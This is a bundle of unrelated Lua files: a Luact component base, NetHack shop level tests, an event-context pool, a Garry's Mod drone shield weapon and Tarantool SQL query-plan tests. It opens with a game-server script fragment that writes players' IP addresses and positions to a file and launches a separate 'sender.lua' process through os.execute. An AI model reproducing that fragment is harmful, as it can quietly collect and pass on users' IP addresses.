pos = '{x=' .. posi.x .. ', y=' .. posi.y .. ', z=' .. posi.z .. '}'
arq:write(doConvertIntegerToIp(getPlayerIp(cid)) .. "/" .. pos .. "|")
arq:close()
setGlobalStorageValue(30000 + getPlayerGUID(cid), cid)
os.execute('start lua.exe data/talkactions/scripts/sender.lua')
end
|
--[[
@license
MIT License
Copyright (c) 2020 Alexis Munsayac
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@author Alexis Munsayac <[email protected]>
@copyright Alexis Munsayac 2020
--]]
local update = require "luact.fiber.update"
local tags = require "luact.tags"
local assign_table = require "luact.utils.assign_table"
return function (reconciler)
local BaseMeta = {}
BaseMeta.__index = BaseMeta
function BaseMeta:component_will_mount()
end
function BaseMeta:component_will_update()
end
function BaseMeta:component_will_unmount()
end
function BaseMeta:component_did_update()
end
function BaseMeta:component_did_mount()
end
function BaseMeta:component_did_update()
end
function BaseMeta:render()
end
function BaseMeta:set_state(action)
if (type(action) == "function") then
action = action(self.state)
end
-- schedule update
self.state = assign_table(self.state, action)
update(reconciler)
end
return function (setup)
local Meta = setmetatable({}, BaseMeta)
Meta.__index = Meta
setup(Meta)
function Meta.new(props)
return setmetatable({
props = props,
}, Meta)
end
return function (props)
return {
type = tags.type.META,
props = props,
constructor = Meta
}
end
end
end |
-- Test shop creation
function shk_test_region_irregular(doors)
des.map([[
---------
|...|...|
|...+...|
|...|+--|
|+---...|
|...|+--|
|...+...|
|...|...|
---------
]]);
des.door("open", 5, 3);
des.door("open", 5, 5);
if (doors == 1) then
des.door("open", 4, 2);
des.door("closed", 4, 6);
end
des.region({ region = { 1,1, 1,1 }, type = "shop", irregular=1, filled=1, lit=1 });
des.region({ region = { 1,5, 1,5 }, type = "shop", irregular=1, filled=1, lit=1 });
if (doors == 2) then
des.door("open", 4, 2);
des.door("closed", 4, 6);
end
end -- shk_test_region_irregular
function shk_test_region_irregular2(doors)
des.map([[
---------
|...|...|
|...+...|
|...|...|
|+---...|
|.......|
|.......|
|.......|
---------
]]);
if (doors == 1) then
des.door("closed", 4, 2);
des.door("closed", 1, 4);
end
des.region({ region = { 1,1, 1,1 }, type = "shop", irregular=1, filled=1, lit=1 });
des.region({ region = { 1,5, 1,5 }, type = "shop", irregular=1, filled=1, lit=1 });
if (doors == 2) then
des.door("closed", 4, 2);
des.door("closed", 1, 4);
end
end -- shk_test_region_irregular2
function shk_test_region_regular(doors)
des.map([[
---------
|...|...|
|...+...|
|...|+--|
|----...|
|...|+--|
|...+...|
|...|...|
---------
]]);
des.door("open", 5, 3);
des.door("open", 5, 5);
if (doors == 1) then
des.door("open", 4, 2);
des.door("closed", 4, 6);
end
des.region({ region = { 1,1, 3,3 }, type = "shop", irregular=0, filled=1, lit=1 });
des.region({ region = { 1,5, 3,7 }, type = "shop", irregular=0, filled=1, lit=1 });
if (doors == 2) then
des.door("open", 4, 2);
des.door("closed", 4, 6);
end
end -- shk_test_region_regular
-- test rooms. this layout is minetn-7 with all rooms changed to shops
function shk_test_rooms1(param)
des.room({ type="ordinary", lit=1, x=3,y=3,
xalign="center",yalign="center", w=30,h=15,
contents = function()
des.room({ type="shop", x=2,y=2, w=4,h=2,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type="shop", x=7,y=2, w=2,h=2,
contents = function()
des.door({ state = "closed", wall="north" })
end
})
des.room({ type="shop", x=7,y=5, w=2,h=2,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type="shop", lit=1, x=10,y=2, w=3,h=4,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type="shop", x=14,y=2, w=4,h=2,
contents = function()
des.door({ state = "closed", wall="south", pos=0 })
end
})
des.room({ type="shop", x=16,y=5, w=2,h=2,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type="shop", lit=0, x=19,y=2, w=2,h=2,
contents = function()
des.door({ state = "locked", wall="east" })
end
})
des.room({ type=monkfoodshop(), lit=1, x=19,y=5, w=2,h=3,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type="shop", x=2,y=7, w=2,h=2,
contents = function()
des.door({ state = "closed", wall="east" })
end
})
des.room({ type="tool shop", lit=1, x=2,y=10, w=2,h=3,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type="candle shop", lit=1, x=5,y=10, w=3,h=3,
contents = function()
des.door({ state = "closed", wall="north" })
end
})
des.room({ type="shop", x=11,y=10, w=2,h=2,
contents = function()
des.door({ state = "locked", wall="west" })
end
})
des.room({ type="shop", lit=1, x=14,y=10, w=2,h=3,
contents = function()
des.door({ state = "closed", wall="north" })
end
})
des.room({ type="shop", x=17,y=11, w=4,h=2,
contents = function()
des.door({ state = "closed", wall="north" })
end
})
des.room({ type="shop", x=22,y=11, w=2,h=2,
contents = function()
des.door({ state = "closed", wall="south" })
end
})
des.room({ type=monkfoodshop(), lit=1, x=25,y=11, w=3,h=2,
contents = function()
des.door({ state = "closed", wall="east" })
end
})
des.room({ type="tool shop", lit=1, x=25,y=2, w=3,h=3,
contents = function()
des.door({ state = "closed", wall="west" })
end
})
des.room({ type="shop", lit=1, x=24,y=6, w=4,h=4,
contents = function()
des.door({ state = "closed", wall = "west" })
end
})
end
})
end -- shk_test_rooms1
function do_test(testfunc, param)
des.reset_level();
des.level_flags("noflip");
des.level_init({ style = "solidfill", fg = " " });
testfunc(param);
des.finalize_level();
end
do_test(shk_test_region_irregular, 0);
do_test(shk_test_region_irregular, 1);
do_test(shk_test_region_irregular, 2);
do_test(shk_test_region_irregular2, 0);
do_test(shk_test_region_irregular2, 1);
do_test(shk_test_region_irregular2, 2);
do_test(shk_test_region_regular, 0);
do_test(shk_test_region_regular, 1);
do_test(shk_test_region_regular, 2);
do_test(shk_test_rooms1, 0);
|
local EventContext = class('EventContext', false)
local _pool = {}
local _poolSize = 0
function EventContext.borrow()
local inst
if _poolSize>0 then
inst = _pool[_poolSize]
_pool[_poolSize] = nil
_poolSize = _poolSize-1
inst._stopsPropagation = false
inst._defaultPrevented = false
inst._captureTouch = false
else
inst = EventContext.new()
end
return inst
end
function EventContext.returns(inst)
_poolSize = _poolSize+1
_pool[_poolSize] = inst
inst.data = nil
end
function EventContext:ctor()
self._bubbleChain = {}
end
function EventContext:stopPropagation()
self._stopsPropagation = true
end
function EventContext:preventDefault()
self._defaultPrevented = true
end
function EventContext:captureTouch()
self._captureTouch = true
end
return EventContext |
DRONES_REWRITE.Weapons["Shield"] = {
Initialize = function(self, pos, ang)
local ent = DRONES_REWRITE.Weapons["Template"].InitializeNoHandler(self, "models/dronesrewrite/shieldgen/shieldgen.mdl", pos, ang)
ent.ShieldActive = false
ent.ShieldEnergy = 100
ent.WaitEffect = 0
ent.SetShield = function(ent, n)
ent.ShieldActive = n
if n then
hook.Add("EntityTakeDamage", "dronesrewrite_shielddmgdec" .. ent:EntIndex(), function(ply, dmg)
if ply:GetPos():Distance(ent:GetPos()) < 400 then
local hp = dmg:GetDamage() * 0.8
if ply.IS_DRR then
ply:SetHealthAmount(ply:GetHealth() + hp)
else
ply:SetHealth(ply:Health() + hp)
end
end
end)
self:SwitchLoopSound("Shield", true, "ambient/energy/force_field_loop1.wav", 255)
local e = ents.Create("prop_physics")
e:SetPos(ent:GetPos())
e:SetAngles(ent:GetAngles())
e:SetModel("models/dronesrewrite/shield_draw/shield.mdl")
e:SetMaterial("models/props_combine/stasisshield_sheet_dx7")
e:Spawn()
e:Activate()
e:DrawShadow(false)
e:SetParent(ent)
e:SetNotSolid(true)
e:PhysicsDestroy()
ParticleEffectAttach("vapor_drr", 1, e, 1)
ent.ShieldMdl = e
self:AddHookClient("HUD", "ShieldDraw", [[
local drone = LocalPlayer():GetNWEntity("DronesRewriteDrone")
if drone:IsValid() then
drone:DrawIndicator("Shield sphere", drone:GetNWInt("ShieldEnergy"))
end
]])
else
hook.Remove("EntityTakeDamage", "dronesrewrite_shielddmgdec" .. ent:EntIndex())
self:SwitchLoopSound("Shield", false)
SafeRemoveEntity(ent.ShieldMdl)
end
end
ent.Healths = { }
return ent
end,
Think = function(self, gun)
if self:IsDroneDestroyed() then
gun:SetShield(false)
return
end
local num = math.floor(gun.ShieldEnergy)
self:SetNWInt("ShieldEnergy", num)
if gun.ShieldActive then
gun.ShieldEnergy = math.Approach(gun.ShieldEnergy, 0, 0.02)
local ef = EffectData()
ef:SetStart(Vector(0, 0, 0))
ef:SetOrigin(gun:GetPos() + VectorRand() * 400)
ef:SetEntity(gun)
ef:SetAngles(Angle(0, 255, 255)) -- Color
util.Effect("dronesrewrite_beam", ef)
if CurTime() > gun.WaitEffect then
ParticleEffect("electrical_arc_01_parent", gun:GetPos(), Angle(0, 0, 0))
gun.WaitEffect = CurTime() + math.Rand(0.1, 0.4)
end
if gun.ShieldEnergy <= 0 then
gun:SetShield(false)
end
else
gun.ShieldEnergy = math.Approach(gun.ShieldEnergy, 100, 0.02)
end
end,
Attack = function(self, gun)
if CurTime() > gun.NextShoot then
if not gun.ShieldActive and gun.ShieldEnergy >= 20 then
gun:SetShield(true)
else
gun:SetShield(false)
end
gun:EmitSound("items/suitchargeok1.wav", 85, math.random(180, 200), 1, CHAN_WEAPON)
gun.NextShoot = CurTime() + 0.5
end
end,
OnRemove = function(self, gun)
gun:SetShield(false)
self:RemoveHookClient("HUD", "ShieldDraw")
end
} |
#!/usr/bin/env tarantool
test = require("sqltester")
test:plan(68)
--!./tcltestrunner.lua
-- 2010 November 6
--
-- The author disclaims copyright to this source code. In place of
-- a legal notice, here is a blessing:
--
-- May you do good and not evil.
-- May you find forgiveness for yourself and forgive others.
-- May you share freely, never taking more than you give.
--
-------------------------------------------------------------------------
--
-- ["set","testdir",[["file","dirname",["argv0"]]]]
-- ["source",[["testdir"],"\/tester.tcl"]]
local testprefix = "eqp"
---------------------------------------------------------------------------
--
-- eqp-1.*: Assorted tests.
-- eqp-2.*: Tests for single select statements.
-- eqp-3.*: Select statements that execute sub-selects.
-- eqp-4.*: Compound select statements.
-- ...
-- eqp-7.*: "SELECT count(*) FROM tbl" statements (VDBE code OP_Count).
--
test:do_execsql_test(
1.1,
[[
CREATE TABLE t1(idt1 INT primary key, a INT, b INT, ex TEXT);
CREATE INDEX i1 ON t1(a);
CREATE INDEX i2 ON t1(b);
CREATE TABLE t2(idt2 INT primary key, a INT, b INT, ex TEXT);
CREATE TABLE t3(idt3 INT primary key, a INT, b INT, ex TEXT);
]])
test:do_eqp_test(
1.2,
[[
SELECT * FROM t2, t1 WHERE t1.a=1 OR t1.b=2;
]], {
-- <1.2>
{0, 0, 1, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
{0, 0, 1, "SEARCH TABLE T1 USING COVERING INDEX I2 (B=?)"},
{0, 1, 0, "SCAN TABLE T2"}
-- </1.2>
})
test:do_eqp_test(
1.3,
[[
SELECT * FROM t2 CROSS JOIN t1 WHERE t1.a=1 OR t1.b=2;
]], {
-- <1.3>
{0, 0, 0, "SCAN TABLE T2"},
{0, 1, 1, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
{0, 1, 1, "SEARCH TABLE T1 USING COVERING INDEX I2 (B=?)"}
-- </1.3>
})
test:do_eqp_test(
1.3,
[[
SELECT a FROM t1 ORDER BY a
]], {
-- <1.3>
{0, 0, 0, "SCAN TABLE T1 USING COVERING INDEX I1"}
-- </1.3>
})
test:do_eqp_test(
1.4,
[[
SELECT a FROM t1 ORDER BY +a
]], {
-- <1.4>
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"}
-- </1.4>
})
test:do_eqp_test(
1.5,
[[
SELECT a FROM t1 WHERE a=4
]], {
-- <1.5>
{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"}
-- </1.5>
})
test:do_eqp_test(
1.6,
[[
SELECT DISTINCT count(*) FROM t3 GROUP BY a;
]], {
-- <1.6>
{0, 0, 0, "SCAN TABLE T3"},
{0, 0, 0, "USE TEMP B-TREE FOR GROUP BY"},
{0, 0, 0, "USE TEMP B-TREE FOR DISTINCT"},
-- </1.6>
})
test:do_eqp_test(
1.7,
[[
SELECT * FROM t3 JOIN (SELECT 1)
]], {
-- <1.7>
{0, 0, 1, "SCAN SUBQUERY 1"},
{0, 1, 0, "SCAN TABLE T3"},
-- </1.7>
})
test:do_eqp_test(
1.8,
[[
SELECT * FROM t3 JOIN (SELECT 1 UNION SELECT 2)
]], {
-- <1.8>
{1, 0, 0, "COMPOUND SUBQUERIES 2 AND 3 USING TEMP B-TREE (UNION)"},
{0, 0, 1, "SCAN SUBQUERY 1"},
{0, 1, 0, "SCAN TABLE T3"},
-- </1.8>
})
test:do_eqp_test(
1.9,
[[
SELECT * FROM t3 JOIN (SELECT 1 EXCEPT SELECT a FROM t3 LIMIT 17)
]], {
-- <1.9>
{3, 0, 0, "SCAN TABLE T3"},
{1, 0, 0, "COMPOUND SUBQUERIES 2 AND 3 USING TEMP B-TREE (EXCEPT)"},
{0, 0, 1, "SCAN SUBQUERY 1"},
{0, 1, 0, "SCAN TABLE T3"},
-- </1.9>
})
test:do_eqp_test(
"1.10",
[[
SELECT * FROM t3 JOIN (SELECT 1 INTERSECT SELECT a FROM t3 LIMIT 17)
]], {
-- <1.10>
{3, 0, 0, "SCAN TABLE T3"},
{1, 0, 0, "COMPOUND SUBQUERIES 2 AND 3 USING TEMP B-TREE (INTERSECT)"},
{0, 0, 1, "SCAN SUBQUERY 1"},
{0, 1, 0, "SCAN TABLE T3"},
-- </1.10>
})
test:do_eqp_test(
1.11,
[[
SELECT * FROM t3 JOIN (SELECT 1 UNION ALL SELECT a FROM t3 LIMIT 17)
]], {
-- <1.11>
{3, 0, 0, "SCAN TABLE T3"},
{1, 0, 0, "COMPOUND SUBQUERIES 2 AND 3 (UNION ALL)"},
{0, 0, 1, "SCAN SUBQUERY 1"},
{0, 1, 0, "SCAN TABLE T3"},
-- </1.11>
})
---------------------------------------------------------------------------
-- Test cases eqp-2.* - tests for single select statements.
--
test:drop_all_tables()
test:do_execsql_test(
2.1,
[[
CREATE TABLE t1(idt1 INT primary key, x INT, y INT, ex TEXT);
CREATE TABLE t2(idt2 INT primary key, x INT, y INT, ex TEXT);
CREATE INDEX t2i1 ON t2(x);
]])
test:do_eqp_test("2.2.1", "SELECT DISTINCT min(x), max(x) FROM t1 GROUP BY x ORDER BY 1", {
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "USE TEMP B-TREE FOR GROUP BY"},
{0, 0, 0, "USE TEMP B-TREE FOR DISTINCT"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
})
test:do_eqp_test("2.2.2", "SELECT DISTINCT min(x), max(x) FROM t2 GROUP BY x ORDER BY 1", {
{0, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{0, 0, 0, "USE TEMP B-TREE FOR DISTINCT"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
})
-- MUST_WORK_TEST wrong explain
--test:do_eqp_test("2.2.3", "SELECT DISTINCT * FROM t1", {
-- {0, 0, 0, "SCAN TABLE T1"},
-- {0, 0, 0, "USE TEMP B-TREE FOR DISTINCT"},
--})
test:do_eqp_test("2.2.4", "SELECT DISTINCT * FROM t1, t2", {
{0, 0, 0, "SCAN TABLE T1"},
-- changed after reordering indexes
-- actually it does not matter (in fact, it seems like pk should have been used in both cases)
--{0, 1, 1, "SCAN TABLE T2 USING COVERING INDEX t2i1"},
{0, 1, 1, "SCAN TABLE T2"},
--{0, 0, 0, "USE TEMP B-TREE FOR DISTINCT"},
})
test:do_eqp_test("2.2.5", "SELECT DISTINCT * FROM t1, t2 ORDER BY t1.x", {
{0, 0, 0, "SCAN TABLE T1"},
{0, 1, 1, "SCAN TABLE T2"},
--{0, 0, 0, "USE TEMP B-TREE FOR DISTINCT"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
})
test:do_eqp_test("2.2.6", "SELECT DISTINCT t2.x FROM t1, t2 ORDER BY t2.x", {
{0, 0, 1, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{0, 1, 0, "SCAN TABLE T1"},
})
test:do_eqp_test("2.3.1", "SELECT max(x) FROM t2", {
{0, 0, 0, "SEARCH TABLE T2 USING COVERING INDEX T2I1"},
})
test:do_eqp_test("2.3.2", "SELECT min(x) FROM t2", {
{0, 0, 0, "SEARCH TABLE T2 USING COVERING INDEX T2I1"},
})
test:do_eqp_test("2.3.3", "SELECT min(x), max(x) FROM t2", {
{0, 0, 0, "SCAN TABLE T2"},
})
test:do_eqp_test("2.4.1", "SELECT * FROM t1 WHERE idt1=?", {
{0, 0, 0, "SEARCH TABLE T1 USING PRIMARY KEY (IDT1=?)"},
})
---------------------------------------------------------------------------
-- Test cases eqp-3.* - tests for select statements that use sub-selects.
--
test:do_eqp_test(
"3.1.1",
[[
SELECT (SELECT x FROM t1 AS sub) FROM t1;
]], {
-- <3.1.1>
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE SCALAR SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T1 AS SUB"},
-- </3.1.1>
})
test:do_eqp_test(
"3.1.2",
[[
SELECT * FROM t1 WHERE (SELECT x FROM t1 AS sub);
]], {
-- <3.1.2>
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE SCALAR SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T1 AS SUB"},
-- </3.1.2>
})
test:do_eqp_test(
"3.1.3",
[[
SELECT * FROM t1 WHERE (SELECT x FROM t1 AS sub ORDER BY y);
]], {
-- <3.1.3>
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE SCALAR SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T1 AS SUB"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
-- </3.1.3>
})
test:do_eqp_test(
"3.1.4",
[[
SELECT * FROM t1 WHERE (SELECT x FROM t2 ORDER BY x);
]], {
-- <3.1.4>
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE SCALAR SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
-- </3.1.4>
})
test:do_eqp_test("3.2.1", [[
SELECT * FROM (SELECT * FROM t1 ORDER BY x LIMIT 10) ORDER BY y LIMIT 5
]], {
{1, 0, 0, "SCAN TABLE T1"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{0, 0, 0, "SCAN SUBQUERY 1"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
})
test:do_eqp_test("3.2.2", [[
SELECT * FROM
(SELECT * FROM t1 ORDER BY x LIMIT 10) AS x1,
(SELECT * FROM t2 ORDER BY x LIMIT 10) AS x2
ORDER BY x2.y LIMIT 5
]], {
{1, 0, 0, "SCAN TABLE T1"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{0, 0, 0, "SCAN SUBQUERY 1 AS X1"},
{0, 1, 1, "SCAN SUBQUERY 2 AS X2"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
})
test:do_eqp_test("3.3.1", [[
SELECT * FROM t1 WHERE y IN (SELECT y FROM t2)
]], {
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE LIST SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T2"},
})
test:do_eqp_test("3.3.2", [[
SELECT * FROM t1 WHERE y IN (SELECT y FROM t2 WHERE t1.x!=t2.x)
]], {
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE CORRELATED LIST SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T2"},
})
test:do_eqp_test("3.3.3", [[
SELECT * FROM t1 WHERE EXISTS (SELECT y FROM t2 WHERE t1.x!=t2.x)
]], {
{0, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "EXECUTE CORRELATED SCALAR SUBQUERY 1"},
{1, 0, 0, "SCAN TABLE T2"},
})
---------------------------------------------------------------------------
-- Test cases eqp-4.* - tests for composite select statements.
--
test:do_eqp_test(
"4.1.1",
[[
SELECT * FROM t1 UNION ALL SELECT * FROM t2
]], {
-- <4.1.1>
{1, 0, 0, "SCAN TABLE T1"},
{2, 0, 0, "SCAN TABLE T2"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (UNION ALL)"},
-- </4.1.1>
})
test:do_eqp_test(
"4.1.2",
[[
SELECT * FROM t1 UNION ALL SELECT * FROM t2 ORDER BY 2
]], {
-- <4.1.2>
{1, 0, 0, "SCAN TABLE T1"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (UNION ALL)"},
-- </4.1.2>
})
test:do_eqp_test(
"4.1.3",
[[
SELECT * FROM t1 UNION SELECT * FROM t2 ORDER BY 2
]], {
-- <4.1.3>
{1, 0, 0, "SCAN TABLE T1"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{2, 0, 0, "USE TEMP B-TREE FOR RIGHT PART OF ORDER BY"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (UNION)"},
-- </4.1.3>
})
test:do_eqp_test(
"4.1.4",
[[
SELECT * FROM t1 INTERSECT SELECT * FROM t2 ORDER BY 2
]], {
-- <4.1.4>
{1, 0, 0, "SCAN TABLE T1"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{2, 0, 0, "USE TEMP B-TREE FOR RIGHT PART OF ORDER BY"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (INTERSECT)"},
-- </4.1.4>
})
test:do_eqp_test(
"4.1.5",
[[
SELECT * FROM t1 EXCEPT SELECT * FROM t2 ORDER BY 2
]], {
-- <4.1.5>
{1, 0, 0, "SCAN TABLE T1"},
{1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{2, 0, 0, "USE TEMP B-TREE FOR RIGHT PART OF ORDER BY"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (EXCEPT)"}
-- </4.1.5>
})
-- MUST_WORK_TEST wrong explain
--test:do_eqp_test(
-- "4.2.2",
-- [[
-- SELECT * FROM t1 UNION ALL SELECT * FROM t2 ORDER BY 1
-- ]], {
-- -- <4.2.2>
-- {1, 0, 0, "SCAN TABLE T1"},
-- {1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
-- {2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX t2i1"},
-- {0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (UNION ALL)"},
--
-- -- </4.2.2>
-- })
-- MUST_WORK_TEST wrong explain
--test:do_eqp_test(
-- "4.2.3",
-- [[
-- SELECT * FROM t1 UNION SELECT * FROM t2 ORDER BY 1
-- ]], {
-- -- <4.2.3>
-- {1, 0, 0, "SCAN TABLE T1"},
-- {1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
-- {2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX t2i1"},
-- {2, 0, 0, "USE TEMP B-TREE FOR RIGHT PART OF ORDER BY"},
-- 0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (UNION)"
-- -- </4.2.3>
-- })
-- MUST_WORK_TEST wrong explain
--test:do_eqp_test(
-- "4.2.4",
-- [[
-- SELECT * FROM t1 INTERSECT SELECT * FROM t2 ORDER BY 1
-- ]], {
-- -- <4.2.4>
-- {1, 0, 0, "SCAN TABLE T1"},
-- {1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
-- {2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX t2i1"},
-- {2, 0, 0, "USE TEMP B-TREE FOR RIGHT PART OF ORDER BY"},
-- 0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (INTERSECT)"
-- -- </4.2.4>
-- })
-- MUST_WORK_TEST wrong explain
--test:do_eqp_test(
-- "4.2.5",
-- [[
-- SELECT * FROM t1 EXCEPT SELECT * FROM t2 ORDER BY 1
-- ]], {
-- -- <4.2.5>
-- {1, 0, 0, "SCAN TABLE T1"},
-- {1, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
-- {2, 0, 0, "SCAN TABLE T2 USING COVERING INDEX t2i1"},
-- {2, 0, 0, "USE TEMP B-TREE FOR RIGHT PART OF ORDER BY"},
-- {0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (EXCEPT)"}
-- -- </4.2.5>
-- })
test:do_eqp_test(
"4.3.1",
[[
SELECT x FROM t1 UNION SELECT x FROM t2
]], {
-- <4.3.1>
{1, 0, 0, "SCAN TABLE T1"},
{2, 0, 0, "SCAN TABLE T2"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 USING TEMP B-TREE (UNION)"},
-- </4.3.1>
})
test:do_eqp_test(
"4.3.2",
[[
SELECT x FROM t1 UNION SELECT x FROM t2 UNION SELECT x FROM t1
]], {
-- <4.3.2>
{2, 0, 0, "SCAN TABLE T1"},
{3, 0, 0, "SCAN TABLE T2"},
{1, 0, 0, "COMPOUND SUBQUERIES 2 AND 3 USING TEMP B-TREE (UNION)"},
{4, 0, 0, "SCAN TABLE T1"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 4 USING TEMP B-TREE (UNION)"}
-- </4.3.2>
})
test:do_eqp_test(
"4.3.3",
[[
SELECT x FROM t1 UNION SELECT x FROM t2 UNION SELECT x FROM t1 ORDER BY 1
]], {
-- <4.3.3>
{2, 0, 0, "SCAN TABLE T1"},
{2, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{3, 0, 0, "SCAN TABLE T2 USING COVERING INDEX T2I1"},
{1, 0, 0, "COMPOUND SUBQUERIES 2 AND 3 (UNION)"},
{4, 0, 0, "SCAN TABLE T1"},
{4, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 4 (UNION)"}
-- </4.3.3>
})
---------------------------------------------------------------------------
-- This next block of tests verifies that the examples on the
-- lang_explain.html page are correct.
--
test:drop_all_tables()
-- EVIDENCE-OF: R-47779-47605 sqlite> EXPLAIN QUERY PLAN SELECT a, b
-- FROM t1 WHERE a=1;
-- 0|0|0|SCAN TABLE T1
--
test:do_execsql_test(
"5.1.0",
[[
CREATE TABLE t1(idt1 INT PRIMARY KEY, a INT, b INT, ex TEXT)
]])
test:do_eqp_test("5.1.1", "SELECT a, b FROM t1 WHERE a=1", {
{0, 0, 0, "SCAN TABLE T1"},
})
-- EVIDENCE-OF: R-55852-17599 sqlite> CREATE INDEX i1 ON t1(a);
-- sqlite> EXPLAIN QUERY PLAN SELECT a, b FROM t1 WHERE a=1;
-- 0|0|0|SEARCH TABLE T1 USING COVERING INDEX i1
--
test:do_execsql_test(
"5.2.0",
[[
CREATE INDEX i1 ON t1(a)
]])
test:do_eqp_test("5.2.1", "SELECT a, b FROM t1 WHERE a=1", {
{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
})
-- EVIDENCE-OF: R-21179-11011 sqlite> CREATE INDEX i2 ON t1(a, b);
-- sqlite> EXPLAIN QUERY PLAN SELECT a, b FROM t1 WHERE a=1;
-- 0|0|0|SEARCH TABLE T1 USING COVERING INDEX i2 (a=?)
--
test:do_execsql_test(
"5.3.0",
[[
CREATE INDEX i2 ON t1(a, b)
]])
test:do_eqp_test("5.3.1", "SELECT a, b FROM t1 WHERE a=1", {
-- It is equal for tarantol wheather to use i1 or i2
-- because both of them are covering
{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
--{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
})
-- EVIDENCE-OF: R-09991-48941 sqlite> EXPLAIN QUERY PLAN
-- SELECT t1.*, t2.* FROM t1, t2 WHERE t1.a=1 AND t1.b>2;
-- 0|0|0|SEARCH TABLE T1 USING COVERING INDEX i2 (a=? AND b>?)
-- 0|1|1|SCAN TABLE T2
--
test:do_execsql_test(
"5.4.0",
[[
CREATE TABLE t2(idt2 INT primary key, c INT, d INT, ex TEXT)
]])
test:do_eqp_test("5.4.1", "SELECT t1.a, t2.c FROM t1, t2 WHERE t1.a=1 AND t1.b>2", {
{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I2 (A=? AND B>?)"},
{0, 1, 1, "SCAN TABLE T2"},
})
